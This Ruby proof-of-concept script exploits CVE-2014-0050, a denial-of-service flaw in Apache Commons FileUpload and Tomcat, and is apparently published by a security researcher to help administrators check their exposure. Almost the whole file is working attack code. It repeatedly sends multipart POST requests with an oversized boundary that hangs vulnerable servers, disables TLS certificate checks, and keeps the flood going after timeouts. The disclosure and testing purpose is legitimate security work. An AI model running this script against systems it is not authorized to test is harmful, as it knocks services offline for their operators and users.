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#################################################################################
# CVE-2014-0050 Apache Commons FileUpload and Apache Tomcat Denial-of-Service #
# #
# Author: Oren Hafif, Trustwave SpiderLabs Research #
# This is a Proof of Concept code that was created for the sole purpose #
# of assisting system administrators in evaluating whether their applications #
# are vulnerable to this issue or not #
# #
# Please use responsibly. #
#################################################################################
require 'net/http'
require 'net/https'
require 'optparse'
require 'openssl'
options = {}
opt_parser = OptionParser.new do |opt|
opt.banner = "Usage: ./CVE-2014-0050.rb [OPTIONS]"
opt.separator ""
opt.separator "Options"
opt.on("-u","--url URL","The url of the Servlet/JSP to test for Denial of Service") do |url|
options[:url] = url
end
opt.on("-n","--number_of_requests NUMBER_OF_REQUSETS","The number of requests to send to the server. The default value is 10") do |number_of_requests|
options[:number_of_requests] = number_of_requests
end
opt.on("-h","--help","help") do
puts ""
puts "#################################################################################"
puts "# CVE-2014-0050 Apache Commons FileUpload and Apache Tomcat Denial-of-Service #"
puts "# #"
puts "# Author: Oren Hafif, Trustwave SpiderLabs Research #"
puts "# This is a Proof of Concept code that was created for the sole purpose #"
puts "# of assisting system administrators in evaluating whether or not #"
puts "# their applications are vulnerable to this issue. #"
puts "# #"
puts "# Please use responsibly. #"
puts "#################################################################################"
puts ""
puts opt_parser
puts ""
exit
end
end
opt_parser.parse!
uri = ""
begin
uri = URI.parse(options[:url])
rescue Exception => e
puts ""
puts "ERROR: Invalid URL was entered #{options[:url]}"
puts ""
puts opt_parser
exit
end
number_of_requests = 10;
if(options[:number_of_requests] != nil)
begin
number_of_requests = Integer( options[:number_of_requests] )
throw Exception.new if number_of_requests <= 0
rescue Exception => e
puts e
puts ""
puts "ERROR: Invalid NUMBER_OF_REQUSETS was entered #{options[:number_of_requests]}"
puts ""
puts opt_parser
exit
end
end
#uri = URI.parse(uri)
puts ""
puts "WARNING: Usage of this tool for attack purposes is forbidden - press Ctrl-C now to abort..."
i=10
i.times { print "#{i.to_s}...";sleep 1; i-=1;}
puts ""
number_of_requests.times do
begin
puts "Request Launched"
https = Net::HTTP.new(uri.host,uri.port)
https.use_ssl = uri.scheme=="https"
https.verify_mode = OpenSSL::SSL::VERIFY_NONE
req = Net::HTTP::Post.new(uri.path)
req.add_field("Content-Type","multipart/form-data; boundary=#{"a"*4092}")
req.add_field("lf-None-Match","59e532f501ac13174dd9c488f897ee75")
req.body = "b"*4097
https.read_timeout = 1
res = https.request(req)
rescue Timeout::Error=>e
puts "Timeout - continuing DoS..."
rescue Exception=>e
puts e.inspect
end
end
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